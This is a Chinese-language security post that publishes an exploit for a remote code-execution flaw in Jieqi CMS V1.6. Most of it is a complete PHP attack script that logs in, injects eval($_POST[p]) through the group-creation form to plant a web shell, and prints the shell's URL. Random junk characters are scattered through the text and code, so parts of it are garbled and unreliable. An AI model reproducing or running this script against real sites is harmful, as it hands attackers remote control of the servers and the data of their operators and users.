Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

admin

杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。

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该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
  z  t- d- v; Z2 {$ J 需要有一个能创建圈子的用户。

<?php

print_r('
4 D0 f8 ?6 A' S& ?9 G" k+---------------------------------------------------------------------------+
Jieqi CMS V1.6 PHP Code Injection Exploit
by flyh4t
mail: phpsec at hotmail dot com
team: http://www.wolvez.org
+ J7 f4 `9 g4 S4 V, S+---------------------------------------------------------------------------+
'); /**
* works regardless of php.ini settings
. J' U8 Y! Z  {  J5 n! c; z*/ if ($argc < 5) { print_r('
+---------------------------------------------------------------------------+
- W' J( l1 u- ^  p9 ]! ^+ T; ZUsage: php '.$argv[0].' host path username
/ y2 K+ a7 e4 g3 Nhost:      target server (ip/hostname)
path:      path to jieqicms
/ O# @9 L! T! S7 Cuasename:  a username who can create group
Example:
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
% [9 ^( O" Y9 q  F( V  _+---------------------------------------------------------------------------+
. @/ j* w. a' B1 U3 ?' e'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
8 I7 P$ ]8 s  B: S  }" EContent-Disposition: form-data; name="gname"
" [  Y* I, @  R2 R% E
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
-----------------------------23281168279961
Content-Disposition: form-data; name="gcatid"
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% U" d6 M- Z# f2 b% p+ L5 \+ B1
-----------------------------23281168279961
) T1 ]" s+ b3 l! A' XContent-Disposition: form-data; name="gaudit"
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4 M9 ^1 p6 n1 G  q1 a3 p1
-----------------------------23281168279961
6 d* b" c  q9 `Content-Disposition: form-data; name="gbrief"

1
-----------------------------23281168279961--
5 g; Y! W$ R; K+ W( X'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
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preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;